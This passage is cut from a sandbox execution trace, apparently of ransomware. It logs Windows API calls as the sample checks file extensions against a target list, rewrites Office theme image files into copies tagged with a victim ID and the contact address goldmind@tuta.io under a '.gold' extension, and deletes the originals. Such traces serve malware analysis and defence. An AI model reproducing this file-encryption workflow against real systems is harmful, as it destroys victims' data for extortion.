(lpString=".docx") returned 5 [0042.707] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0042.707] lstrlenW (lpString=".pdf") returned 4 [0042.707] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.707] lstrlenW (lpString=".xls") returned 4 [0042.707] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.707] lstrlenW (lpString=".xlsx") returned 5 [0042.707] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0042.707] lstrlenW (lpString=".ppt") returned 4 [0042.708] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0042.708] lstrlenW (lpString=".zip") returned 4 [0042.708] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0042.708] lstrlenW (lpString=".rar") returned 4 [0042.708] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.708] lstrlenW (lpString=".bz2") returned 4 [0042.708] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.708] lstrlenW (lpString=".7z") returned 3 [0042.708] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0042.708] lstrlenW (lpString=".dbf") returned 4 [0042.708] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0042.708] lstrlenW (lpString=".1cd") returned 4 [0042.708] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0042.708] lstrlenW (lpString=".jpg") returned 4 [0042.708] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.708] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0042.708] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0042.708] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0042.708] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=29305) returned 1 [0042.708] CloseHandle (hObject=0x1f4) returned 1 [0042.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 0x20 [0042.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.709] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0042.709] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.709] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.709] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0042.709] GetLastError () returned 0x0 [0042.709] ReadFile (in: hFile=0x1f4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x7279, lpOverlapped=0x0) returned 1 [0042.711] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x7280, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x7280, lpOverlapped=0x0) returned 1 [0042.712] ReadFile (in: hFile=0x1f4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.712] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0042.713] SetEndOfFile (hFile=0x1e8) returned 1 [0042.713] CloseHandle (hObject=0x1e8) returned 1 [0042.713] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.713] SetEndOfFile (hFile=0x1f4) returned 1 [0042.713] CloseHandle (hObject=0x1f4) returned 1 [0042.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0042.714] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 1 [0042.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0042.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0042.714] lstrlenW (lpString=".doc") returned 4 [0042.714] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.714] lstrlenW (lpString=".docx") returned 5 [0042.714] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.714] lstrlenW (lpString=".pdf") returned 4 [0042.714] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.714] lstrlenW (lpString=".xls") returned 4 [0042.714] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.714] lstrlenW (lpString=".xlsx") returned 5 [0042.714] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.714] lstrlenW (lpString=".ppt") returned 4 [0042.714] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0042.714] lstrlenW (lpString=".zip") returned 4 [0042.714] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.714] lstrlenW (lpString=".rar") returned 4 [0042.714] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.714] lstrlenW (lpString=".bz2") returned 4 [0042.714] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.714] lstrlenW (lpString=".7z") returned 3 [0042.714] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.714] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0042.714] lstrlenW (lpString=".dbf") returned 4 [0042.715] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0042.715] lstrlenW (lpString=".1cd") returned 4 [0042.715] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0042.715] lstrlenW (lpString=".jpg") returned 4 [0042.715] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0042.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0042.715] lstrlenW (lpString=".doc") returned 4 [0042.715] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0042.715] lstrlenW (lpString=".docx") returned 5 [0042.715] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0042.715] lstrlenW (lpString=".pdf") returned 4 [0042.715] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0042.715] lstrlenW (lpString=".xls") returned 4 [0042.715] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0042.715] lstrlenW (lpString=".xlsx") returned 5 [0042.715] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0042.715] lstrlenW (lpString=".ppt") returned 4 [0042.715] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0042.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0042.715] lstrlenW (lpString=".zip") returned 4 [0042.715] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0042.715] lstrlenW (lpString=".rar") returned 4 [0042.715] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0042.715] lstrlenW (lpString=".bz2") returned 4 [0042.715] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0042.715] lstrlenW (lpString=".7z") returned 3 [0042.715] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0042.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0042.715] lstrlenW (lpString=".dbf") returned 4 [0042.715] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0042.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0042.715] lstrlenW (lpString=".1cd") returned 4 [0042.715] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0042.715] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0042.715] lstrlenW (lpString=".jpg") returned 4 [0042.715] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0042.715] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0042.715] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0042.716] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0042.718] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=1009) returned 1 [0042.718] CloseHandle (hObject=0x190) returned 1 [0042.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 0x20 [0042.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.718] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0042.718] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.718] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.718] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0043.217] GetLastError () returned 0x0 [0043.217] ReadFile (in: hFile=0x190, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x3f1, lpOverlapped=0x0) returned 1 [0043.219] WriteFile (in: hFile=0x204, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x400, lpOverlapped=0x0) returned 1 [0043.219] ReadFile (in: hFile=0x190, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.219] WriteFile (in: hFile=0x204, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xea, lpOverlapped=0x0) returned 1 [0043.219] SetEndOfFile (hFile=0x204) returned 1 [0043.220] CloseHandle (hObject=0x204) returned 1 [0043.220] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.220] SetEndOfFile (hFile=0x190) returned 1 [0043.220] CloseHandle (hObject=0x190) returned 1 [0043.220] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0043.221] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 1 [0043.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0043.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0043.221] lstrlenW (lpString=".doc") returned 4 [0043.221] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.221] lstrlenW (lpString=".docx") returned 5 [0043.221] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.221] lstrlenW (lpString=".pdf") returned 4 [0043.221] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.221] lstrlenW (lpString=".xls") returned 4 [0043.221] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.221] lstrlenW (lpString=".xlsx") returned 5 [0043.221] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.221] lstrlenW (lpString=".ppt") returned 4 [0043.221] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0043.221] lstrlenW (lpString=".zip") returned 4 [0043.221] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.221] lstrlenW (lpString=".rar") returned 4 [0043.221] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.221] lstrlenW (lpString=".bz2") returned 4 [0043.221] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.221] lstrlenW (lpString=".7z") returned 3 [0043.221] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0043.221] lstrlenW (lpString=".dbf") returned 4 [0043.221] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0043.221] lstrlenW (lpString=".1cd") returned 4 [0043.221] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0043.222] lstrlenW (lpString=".jpg") returned 4 [0043.222] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0043.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0043.222] lstrlenW (lpString=".doc") returned 4 [0043.222] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.222] lstrlenW (lpString=".docx") returned 5 [0043.222] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.222] lstrlenW (lpString=".pdf") returned 4 [0043.222] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.222] lstrlenW (lpString=".xls") returned 4 [0043.222] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.222] lstrlenW (lpString=".xlsx") returned 5 [0043.222] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.222] lstrlenW (lpString=".ppt") returned 4 [0043.222] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0043.222] lstrlenW (lpString=".zip") returned 4 [0043.222] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.222] lstrlenW (lpString=".rar") returned 4 [0043.222] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.222] lstrlenW (lpString=".bz2") returned 4 [0043.222] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.222] lstrlenW (lpString=".7z") returned 3 [0043.222] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0043.222] lstrlenW (lpString=".dbf") returned 4 [0043.222] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0043.222] lstrlenW (lpString=".1cd") returned 4 [0043.222] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0043.222] lstrlenW (lpString=".jpg") returned 4 [0043.222] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.222] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0043.222] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0043.222] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0043.223] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=2527) returned 1 [0043.223] CloseHandle (hObject=0x190) returned 1 [0043.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif")) returned 0x20 [0043.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.223] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0043.223] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.223] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.223] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0043.224] GetLastError () returned 0x0 [0043.224] ReadFile (in: hFile=0x190, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x9df, lpOverlapped=0x0) returned 1 [0043.226] WriteFile (in: hFile=0x204, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x9e0, lpOverlapped=0x0) returned 1 [0043.226] ReadFile (in: hFile=0x190, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.227] WriteFile (in: hFile=0x204, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xea, lpOverlapped=0x0) returned 1 [0043.227] SetEndOfFile (hFile=0x204) returned 1 [0043.227] CloseHandle (hObject=0x204) returned 1 [0043.227] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.227] SetEndOfFile (hFile=0x190) returned 1 [0043.227] CloseHandle (hObject=0x190) returned 1 [0043.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0043.228] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif")) returned 1 [0043.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0043.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0043.228] lstrlenW (lpString=".doc") returned 4 [0043.228] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.228] lstrlenW (lpString=".docx") returned 5 [0043.228] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.228] lstrlenW (lpString=".pdf") returned 4 [0043.228] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.228] lstrlenW (lpString=".xls") returned 4 [0043.228] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.228] lstrlenW (lpString=".xlsx") returned 5 [0043.228] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.228] lstrlenW (lpString=".ppt") returned 4 [0043.228] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0043.228] lstrlenW (lpString=".zip") returned 4 [0043.228] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.228] lstrlenW (lpString=".rar") returned 4 [0043.228] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.228] lstrlenW (lpString=".bz2") returned 4 [0043.228] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.228] lstrlenW (lpString=".7z") returned 3 [0043.229] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0043.229] lstrlenW (lpString=".dbf") returned 4 [0043.229] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0043.229] lstrlenW (lpString=".1cd") returned 4 [0043.229] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0043.229] lstrlenW (lpString=".jpg") returned 4 [0043.229] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0043.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0043.229] lstrlenW (lpString=".doc") returned 4 [0043.229] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.229] lstrlenW (lpString=".docx") returned 5 [0043.229] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.229] lstrlenW (lpString=".pdf") returned 4 [0043.229] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.229] lstrlenW (lpString=".xls") returned 4 [0043.229] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.229] 